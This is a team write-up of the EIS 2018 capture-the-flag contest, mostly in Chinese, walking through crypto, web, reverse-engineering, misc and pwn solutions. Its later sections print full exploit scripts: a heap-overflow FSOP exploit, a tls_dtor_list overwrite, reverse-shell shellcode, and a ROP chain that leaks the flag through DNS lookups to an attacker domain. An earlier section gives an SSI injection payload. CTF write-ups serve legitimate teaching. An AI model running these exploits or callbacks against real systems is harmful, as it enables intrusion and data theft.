EIS 2018 Writeup

> author: AAA

crypto

Azure RSA

1. 通过n1和n2的公因子还原出q，p1，p2
2. 注意到 $gcd(e, \phi(n)) = 14$，无法直接求d

   但观察发现 $gcd(e_1, p_1 - 1) = gcd(e_2, p_2 - 1) = 2$

   故可以求出 $m^2 \ mod \ p_1$ 和 $m^2 \ mod \ p_2$
3. 两式合并求解，再开根号得到flag:

   EIS{Comm0n_Div15or_plus_CRT_is_so_easy|cb2733b9e69ab3a9bd526fa1}

Azure Oracle

1. 标准的RSA LSB Oracle，已知flag长度范围，可先本地计算若干轮节省时间
2. LSB用AES加密，但unpad函数存在漏洞，添加两个数据块还原LSB，可参考POODLE ATTACK
3. 若干轮二分后，从明文中间部分找到flag:

   EIS{13reak_7he_0racl3_!5_32}

Azure 3AES

1. 根据异或和加法运算性质，逐比特还原mask1和mask2
2. mask3切分为左右两部分，分别进行中间相遇
3. 中间相遇还原suffix1和suffix2，然后用3个key解密得到flag:

   EIS{D0ubl3_meet_!n_7he_rnidd1e!}

web

SimpleBBS

简单的 SQL 注入，登陆处用户名无任何过滤。

SimpleBlog

二次注入，仍然在用户名处，只要注册了用户名中放 Payload 即可。如果逻辑条件为假则得分为 0 ，否则就会得分。

SimpleServerInjection

很直白的 SSI。

```
<!--%23include+virtual%3D"flag"+-->
```

SimpleExtensionExplorerInjection

简单的 XXE，本身是代码审计，实际上就是漏洞 CVE-2018-1259。不多说，payload 参考：https://github.com/iflody/myBugAnalyze/tree/master/2018/CVE-2018-1259

SimplePrintEventLogger

本身是代码审计，实际上是漏洞 CVE-2018-1273，不过出题的时候没考虑到 XXE 读目录的情况，被非预期了，影响了大家的学习体验，深感抱歉，关于这个漏洞网上有很多分析，我也写过一个，Payload 也在这里，可以参考一下:

https://github.com/iflody/myBugAnalyze/tree/master/2018/CVE-2018-1273

SimpleWebAssemblyReverse

wasm 逆向，避开无关逻辑。

我们一点一点看，先看到一个关键判断。

```
(if $I1
     (get_local $l171)
```

条件 $I1 就是本地变量 $l171 ，其值可在这里获得

```
    (set_local $l171
      (i32.ne
        (get_local $l170)
        (i32.const 38)))
```

也就是说判断 $l170 是否为 38。

```
    (set_local $l170
      (get_local $l151))

    (set_local $l151
      (get_local $p1))
```

可得 $l170 是传进来的第二个参数，即 flag 的长度，这里判断了 flag 的长度是否为 38，如果为否则进入这个分支，看起来这里是失败逻辑，即 flag 格式为 *flag\{.{32}\}* 。我们看后面。在设置了一堆本地变量后进入了一个循环。

```
    (loop $L2
      (block $B3
        (set_local $l180
```

```
          (get_local $l132))
        (set_local $l181
          (i32.lt_u
            (get_local $l180)
            (i32.const 3)))
        (if $I4
          (i32.eqz
            (get_local $l181))//刚进来这个条件百分百是 false。因为 0 < 3 是
True。后年计数器 l32 会加 1.循环进行三次。
          (then
            (br $B3)))
        (set_local $l182
          (get_local $l131))// 回溯一下，其实就是栈上。后年还是做了些初始化工作，然
后强制跳到 L2。
        (set_local $l183
          (get_local $l132))
        (set_local $l184 // $l184 = $l182 + 计数器 << 2，计数器分别是0,1,2.
          (i32.add
            (get_local $l182)
            (i32.shl
              (get_local $l183)
              (i32.const 2))))
        (i32.store
          (get_local $l184) // 把 $l184 这个栈地址上 +2 +4 +8 的位置初始化为 0.
          (i32.const 0))
        (set_local $l185
          (get_local $l132))
        (set_local $l186
          (i32.add
            (get_local $l185)
            (i32.const 1)))
        (set_local $l132
          (get_local $l186))// 计数器加1.
        (br $L2)))// 最后看起来其实没做啥...就是初始化了一下栈上的几个位置，无关逻辑，
接着看。
```

看我写的注释。

下一个循环。

```
    (loop $L5
      (block $B6
        (set_local $l187
          (get_local $l153)) // $l187 = $l153 = 0
        (set_local $l188
          (get_local $l151)) // $l188 = $l151 = $p1 这里是 38
        (set_local $l189
          (i32.eq
            (get_local $l187)
```

```
            (get_local $l188))) // 循环判断跳出条件。
        (if $I7
          (get_local $l189)
          (then
            (br $B6))) // 如果不满足条件就一直循环下去，这里应该就是遍历字符串了。
        (set_local $l7
          (get_local $l150)) // $l7 = $l150 = $p0，也就是我们传入的字符串的地址。
        (set_local $l8
          (get_local $l153)) // $l8 = $l153 也就是计数器
        (set_local $l9 // $l9 = 计数器 + 1
          (i32.add
            (get_local $l8)
            (i32.const 1)))
        (set_local $l153 // 计数器 = 计数器 + 1
          (get_local $l9))
        (set_local $l10 // $l10 就是当前字符的地址。
          (i32.add
            (get_local $l7)
            (get_local $l8)))
        (set_local $l11 // $l11 会从 $l10 这个地址获取 8 位，也就是 1 字节。即字符串当前 index 字节
          (i32.load8_s
            (get_local $l10)))
        (set_local $l12
          (i32.shr_s
            (i32.shl
              (get_local $l11)
              (i32.const 24))
            (i32.const 24))) // 先左移再符号右移，看起来是清空高位。
        (set_local $l13 //  $l13 = 当前字节 + 3
          (i32.add
            (get_local $l12)
            (i32.const 3)))
        (set_local $l14 // $l14 = $l13 & 255
          (i32.and
            (get_local $l13)
            (i32.const 255)))
        (set_local $l110
          (get_local $l155))
        (set_local $l111 // $l111 = $l14
          (get_local $l14))
        (set_local $l15
          (get_local $l110))
        (set_local $l16 // $l16 = $l111
          (get_local $l111))
        (call $f797 // $f797 比较复杂，看起来是个库函数，应该不会是很复杂的操作，看到里面有栈溢出检查，猜测是类似 strcat 这样的操作。
          (get_local $l15)
          (get_local $l16))
```

```
        (br $L5))
```

看注释。我们认为这段的结果最终是传入参数每个字节 +3 后的结果。

后面的结果会比较乱，大量在栈上的操作，想弄清具体哪个变量是在哪个偏移上会比较困难，可以参考下 https://xz.aliyun.com/t/2854，在 ida 7.2 下使用 wasm_emu 能渲染全局变量，本地变量，内存和栈。我们这里人工去找找下一个 function call。看看能不能有提示，下一个 function call。即 f52，接着看这个函数干嘛的。

```
            (set_local $l156
              (i32.load8_s
                (get_local $l95)))
            (set_local $l158
              (i32.and
                (get_local $l156)
                (i32.const 255)))
            (set_local $l159
              (i32.and
                (get_local $l158)
                (i32.const 3)))
            (set_local $l160
              (i32.shl
                (get_local $l159)
                (i32.const 4)))
            (set_local $l161
              (i32.add
                (get_local $l95)
                (i32.const 1)))
            (set_local $l162
              (i32.load8_s
                (get_local $l161)))
            (set_local $l163
              (i32.and
                (get_local $l162)
                (i32.const 255)))
            (set_local $l164
              (i32.shr_s
                (get_local $l163)
                (i32.const 4)))
```

（第一个字节 & 3） << 4 + 第二个字节 >> 4

```
            (set_local $l199
              (i32.and
                (get_local $l198)
                (i32.const 15)))
            (set_local $l200
              (i32.shl
```

```
    (get_local $l199)
    (i32.const 2)))
(set_local $l202
  (i32.add
    (get_local $l95)
    (i32.const 2)))
(set_local $l203
  (i32.load8_s
    (get_local $l202)))
(set_local $l204
  (i32.and
    (get_local $l203)
    (i32.const 255)))
(set_local $l205
  (i32.and
    (get_local $l204)
    (i32.const 192)))
(set_local $l206
  (i32.shr_s
    (get_local $l205)
    (i32.const 6)))
```

(第二个字节 & 0xf) << 2 + (第三个字节 & 0xc0) >> 6

```
(set_local $l239
  (i32.add
    (get_local $l95)
    (i32.const 2)))
(set_local $l240
  (i32.load8_s
    (get_local $l239)))
(set_local $l241
  (i32.and
    (get_local $l240)
    (i32.const 255)))
(set_local $l242
  (i32.and
    (get_local $l241)
    (i32.const 63)))
```

第四个字节 & 0x3f

这期间出现了数次 f797，其实就是我们前面猜测的字符串拼接。这段算法是否比较熟悉？其实就是逆向中常见的算法 base64 encode。到这里逻辑就大致理清了。每个字节 + 3，然后 base64 encode。最后应该是和一个字符串进行比较。在 data 段可以找到，即 *aW9kan40NGgzOTNkNWZoNDtlOjloNmk1OThmNzk4O2dkPDRoZoA=*

对该字符串解码并每个字节减 3 即可。

reverse

hideandseek

256层单纯混淆函数，以及flag长度的验证函数，每一层都会加密上一层并且解密下一层，ida里提取出每一层的异或密钥进行解密即可。flag验证对每一位进行，是一个一元三次方程，因为系数都是正数其实是单调的函数，可以直接解或者爆破也可以。

tailbone

程序中有一个没用的atoi函数指针，其对应的重定位项被改成了.fini_array中的第一项，启动时会修改到eh_frame中，对应的代码如下：

```
code = """
    movaps xmm0, xmmword ptr [{flag_addr}]
    movaps xmm1, xmmword ptr [{flag_addr} + 0x10]

    movaps xmm2, xmmword ptr [{key_addr}]
    movaps xmm3, xmmword ptr [{key_addr} + 0x10]
    movaps xmm4, xmmword ptr [{key_addr} + 0x20]
    movaps xmm5, xmmword ptr [{key_addr} + 0x30]
    movaps xmm6, xmmword ptr [{key_addr} + 0x40]
    movaps xmm7, xmmword ptr [{key_addr} + 0x50]
    movaps xmm8, xmmword ptr [{key_addr} + 0x60]
    movaps xmm9, xmmword ptr [{key_addr} + 0x70]

    aesenc xmm0, xmm2
    aesenc xmm0, xmm3
    aesenc xmm0, xmm4
    aesenc xmm0, xmm5

    aesenc xmm1, xmm6
    aesenc xmm1, xmm7
    aesenc xmm1, xmm8
    aesenc xmm1, xmm9

    movaps xmmword ptr [{flag_addr}], xmm0
    movaps xmmword ptr [{flag_addr} + 0x10], xmm1

    xor rcx, rcx
    lea rdi, byte ptr [enc_data]
    lea rsi, byte ptr [{flag_addr}]

check_loop:
    mov al, byte ptr [rdi + rcx]
    cmp al, byte ptr [rsi + rcx]
    jnz {flag_wrong}
```

```
    inc rcx
    cmp rcx, 0x20
    jnz check_loop

    jmp {flag_correct}

    .align 0x10

enc_data:
"""
```

key和cipher都固定在程序中了，直接按照相反步骤解密即可。

misc

elfrand

随机生成的elf，原意是匹配哈希表，找符号表来确定flag数据的位置的，但是大家要么开始正态分布爆破，要么就莫名其妙开始二分了。。

```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
""" Himyth / AAA """
from pwn import *

def leak_bytes(offset, note):
    p.sendlineafter('offset: ', '%x' % offset)
    return p.recvline().strip().decode('hex')

def leak_xword(offset, note):
    data = leak_bytes(offset, note)
    return map(u64, [data[_:_ + 8] for _ in xrange(0, 8, 8)])

def leak_dword(offset, note):
    data = leak_bytes(offset, note)
    return map(u32, [data[_:_ + 4] for _ in xrange(0, 8, 4)])

p = remote("localhost", 22222)

shdr_offset = leak_xword(0x28, 'shdr_offset')[0]

SHT_STRTAB = 3
SHT_DYNSYM = 11
SHT_GNU_HASH = 0x6ffffff6
strtab = None
dynsym = None
gnuhash = None
shndx = 1
```

```
while not (strtab and dynsym and gnuhash):
    offset = shdr_offset + 0x40 * shndx
    sh_type = leak_dword(offset, 'sh_type')[1]
    if sh_type == SHT_DYNSYM and dynsym is None:
        dynsym = leak_xword(offset + 0x18, 'dynsym_offset')[0]
    if sh_type == SHT_STRTAB and strtab is None:
        strtab = leak_xword(offset + 0x18, 'strtab_offset')[0]
    if sh_type == SHT_GNU_HASH and gnuhash is None:
        gnuhash = leak_xword(offset + 0x18, 'gnuhash_offset')[0]
    shndx += 1

# generate gnu-hash for string
def gnu_hash(s):
    h = 5381
    for c in s:
        h = h * 33 + ord(c)
    return h & 0xffffffff

# calculate target variable hash value
flag_hash = gnu_hash('cool_man_i_am_your_sweet_flag_lol')

# leak metadatas in gnu_hash table
nbuckets, symndx = leak_dword(gnuhash, 'gnu_hash_metadata')
maskwords, _ = leak_dword(gnuhash + 8, 'gnu_hash_metadata')

# calculate buckets/chains offset, and flag index
buckets = gnuhash + 0x10 + 8 * maskwords
chains = buckets + 4 * nbuckets
bucket_index = flag_hash % nbuckets

# leak chain_index in bucket, and calculate chain offset
chain_index = leak_dword(buckets + bucket_index * 4,
'gnu_hash_buckets_data')[0]
chain = chains + 4 * (chain_index - symndx)

# leak chains data, and calculate flag symbol index
flag_hash = flag_hash & (2 ** 32 - 2)
chainoff = 0
while True:
    hash1, hash2 = leak_dword(chain + chainoff * 4, 'gnu_hash_chain_data')
    hash1 = hash1 & (2 ** 32 - 2)
    hash2 = hash2 & (2 ** 32 - 2)
    if flag_hash == hash1:
        flag_symbol_index = chain_index + chainoff
    elif flag_hash == hash2:
        flag_symbol_index = chain_index + chainoff + 1
    else:
        chainoff += 2
        continue
```

```
    break
flag_symbol = dynsym + 24 * flag_symbol_index

# leak flag offset in flag symbol, calculate actual offset
flag_address = leak_xword(flag_symbol + 8, 'flag_st_value')[0]
flag_offset = flag_address - 0x200000

# leak whole flag body and disassemble
flag = ''
for i in xrange(5):
    flag += leak_bytes(flag_offset + i * 8, 'flag')
print 'flag:', flag
p.close()
```

gogogo

icmp tunnel中的ftp流量，直接读图片即可

shellcodencrypt

shellcode会被随机生成的加密函数加密，但是加密函数满足Feistel网络结构，所以不需要去逆向加密函数，只需要复用加密函数在入口调换一下左右顺序即可得到得到合理的输入。可以执行任意shellcode之后反连即可，returncode只是我调试时用的，结果有师傅用来返回flag了。。

```
#!/usr/bin/env python
# -*- coding: utf-8 -*-
""" Himyth / AAA """
from pwn import *
import sys, os, re
context(arch='amd64', os='linux', log_level='info')
context(terminal=['gnome-terminal', '--', 'zsh', '-c'])

p = remote('127.0.0.1', 22222)

def swap(s):
    result = ''
    for i in xrange(0, len(s), 8):
        result += s[i + 4:i + 8] + s[i:i + 4]
    return result

sc = shellcraft.amd64
shellcode = ''
shellcode += sc.connect(host='127.0.0.1', port=55555, network='ipv4')
shellcode += sc.dup2('rbp', 0)
shellcode += sc.dup2('rbp', 1)
shellcode += sc.dup2('rbp', 2)
shellcode += sc.execve("/bin/sh", 0, 0)
shellcode = asm(shellcode, arch="amd64").ljust(0x80, '\x90')
```

```
p.recvuntil('here is your base64-encoded target file:\n')
binary = base64.b64decode(p.recvline().strip())
local_binary = os.path.abspath('./shellcodencrypt')
open(local_binary, 'wb').write(binary)
os.system('chmod +x %s' % local_binary)

q = process(argv=[local_binary])
dumpfile = os.path.abspath('./afterencrypt')
gdb.attach(q, gdbscript="""
b *main+0x40
command 1
dump memory %s $rbx $rbx+0x80
quit
end
continue
""" % dumpfile
)
q.send(swap(shellcode))
while not os.path.exists(dumpfile):
    import time
    time.sleep(1)
encrypted = open(dumpfile, 'rb').read(0x80)
q.close()

reverse = listen(55555)
p.recvuntil('now your base64-encoded shellcode please:\n')
p.sendline(base64.b64encode(swap(encrypted)))
reverse.wait_for_connection()
reverse.interactive()
```

uncaptcha/checkin

asciiart验证码，只需要采样所有的字符然后文本比较即可，最初觉得这题比较简单当成了checkin，但好久没有人做出来就把验证码长度和总次数都降下来了。

youchat

秘钥交换的nonce用的是timestamp，而timestamp可以从同一个pcapng中的http请求中的时间戳，加上流量中的时间偏移算出来，然后加上流量中的信息就可以还原出加密的key以及flag。

pwnable

hack

任意地址写，old ebp，可以用tls_dtor_list的方法，给出一个我本地libc的exp：

```
from pwn import *
from time import *
```

```
libc = ELF('./libc.so.6')
elf = ELF('./p.out')
r = process('./p.out')
context(arch='i386', os='linux', log_level='debug')


r.sendlineafter('address: ', str(int('0804a010', base = 16)))
r.recvuntil(', ')
recv = r.recv(10)
printf_address = int(recv, base = 16)
print hex(printf_address)
libc.address = printf_address - libc.symbols['printf']
print "libc address is:", hex(libc.address)

raw_input()

gs_18_address = libc.address + (0xb7705958 - 0xb7511000)
print "gs_18_address is:", hex(gs_18_address)

r.sendlineafter('chance: ', str(gs_18_address))
r.recvuntil(', ')
recv = r.recv(10)
gs_18_value = int(recv, base = 16)
print hex(gs_18_value)


tls_dtor_list_address = libc.address + (0xb7705914 - 0xb7511000)
print "tls_dtor_list_address is: ", hex(tls_dtor_list_address)

r.recvuntil('node is ')
recv = r.recvuntil(',')[:-1]
fake_list_address = int(recv, base = 16)
print "the fake list is at", hex(fake_list_address)

want_result = libc.symbols['system'] ^ gs_18_value
print 'want_result:', hex(want_result)
here = want_result << 9
print 'here:', hex(here)
here2 = here & 0xffffffff
here2 += here >> 32
print 'here2:', hex(here2)


fake_struct = p32(here2)
fake_struct += p32(libc.search('/bin/sh').next())
fake_struct += p32(fake_list_address)
fake_struct += p32(tls_dtor_list_address - 8)
r.sendlineafter('now: ', fake_struct)
```

```
r.interactive()
```

justnote

漏洞在于最小的负数去取相反数还是其自身，所以可以绕过长度检查造成任意长度堆溢出。溢出之后的堆利用就可以各自发挥了，这里借湘潭大学大佬的exp一用：

```
from pwn import *

# context.log_level = 'debug'

binary = './justnote'
elf = ELF(binary)
libc = ELF('libc6_2.23-0ubuntu10_amd64.so')
env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./pwn/xtu/libc6_2.23-
0ubuntu10_amd64.so")}
io = remote('210.32.4.17',13376)

# io = process(binary)

def p():
    gdb.attach(io)
    raw_input()
def choice(c):
    io.recvuntil('choice: ')
    io.sendline(str(c))
def add(size,content):
    choice(1)
    io.recvuntil('of note: ')
    io.sendline(str(size))
    io.recvuntil('note: ')
    io.send(content)
def delete(index):
    choice(2)
    io.recvuntil('of note: ')
    io.sendline(str(index))
def edit(index,content):
    choice(3)
    io.recvuntil('of note: ')
    io.sendline(str(index))
    io.recvuntil('note: ')
    io.send(content)

add(-0x1FFFFFFFFFFFFFFFFFFFFFFF,'\n')#0
add(0x100,'B'*0xff)#1
add(0x100,'C'*0xff)#2
add(0x100,'D'*0xff)#3
delete(1)
```

```
edit(0,'A'*0x108 + p64(0x113)+'\n')

add(0x100,'B'*0x8+'\n')
io.recvuntil('B'*8)
leak = u64(io.recv(6).ljust(8,'\x00'))
libc_base = leak - libc.symbols['__malloc_hook'] - 0x10 - 0x58
iolist = libc_base + libc.symbols['_IO_list_all']
sys = libc_base + libc.symbols['system']
fake_file = p64(0)
fake_file += p64(0x61)
fake_file += p64(1)
fake_file += p64(iolist- 0x10)
fake_file += p64(2) + p64(3)
fake_file += "\x00" * 8
fake_file += p64(libc_base + next(libc.search('/bin/sh\x00'))) #/bin/sh
addr
fake_file += (0xc0-0x40) * "\x00"
fake_file += p32(0) #mode
fake_file += (0xd8-0xc4) * "\x00"
fake_file += p64(libc_base + 0x3c37b0 - 0x18) #vtable_addr
fake_file += (0xe8-0xe0) * "\x00"
fake_file += p64(sys)
delete(2)
edit(0,'A'*0x108 +p64(0x111) + 'B'*0x100+ fake_file+p64(0)*5 +
p64(0x111)+'\n')

choice(1)

io.interactive()
```

dns_of_melody

有一个栈溢出，没开canary没开pie，所以可以直接执行gadget。

但是题目限制了execve，execveat，fork等一些syscall，因此拿不到shell，并且在执行rop之前关闭了0，1，2，而且没给libc，没有很多gadget可以用，难点在于如何传出flag。

预期解法是利用题目自带的dns功能，让程序去查询${flag}.yourevil.domain.com这样的域名，另一边在自己的server上跑一个dns服务器，这样才能收到flag。

```
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__author__ = "Kira / AAA"
from pwn import *
import sys
context(binary='./dns_of_melody', os='linux', log_level='info')

# libc = ELF('.')
elf = context.binary
```

```
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':  # remote
        p = remote('', )
else:
    p = elf.process(env={'LD_PRELOAD': ''})

p.sendlineafter('Select:\n', '1')
p.sendlineafter('length: \n', '80')
p.sendline('A' * 10)

p.sendlineafter('Select:\n', '2')
p.sendlineafter('index: \n', '0')

# context.log_level = 'debug'
raw_input('xx')
p.sendlineafter('Select:\n', '4')
p.sendlineafter('index: \n', '0')

payload = '.test.lovekira.cn'.rjust(0x50, 'A')
payload += '\x00./flag\x00'
payload = payload.ljust(0xa10 - 0x870, '\0')
# open("flag", 0)
payload += p64(0x601FE8)    # rbp
# 0x00000000004012b3: pop rdi; ret;
payload += flat(0x4012b3, 0x602060 + 0x51)
# 0x00000000004012b1: pop rsi; pop r15; ret;
payload += flat(0x4012b1, 0, 0)
# 0x00000000004016eb: jmp qword ptr [rbp];
payload += flat(0x4016eb)

# read(0, buf, rdx)
payload += flat(0x4012b3, 0)
payload += flat(0x4012b1, 0x602060, 0)
# 0x0000000000400b28: pop rbp; ret;
payload += flat(0x400b28, 0x601FB8)
payload += flat(0x4016eb)

# gethostbyname(buf)
payload += flat(0x4012b3, 0x602060)
payload += p64(0x400F68)
p.sendline(payload)

p.interactive()
```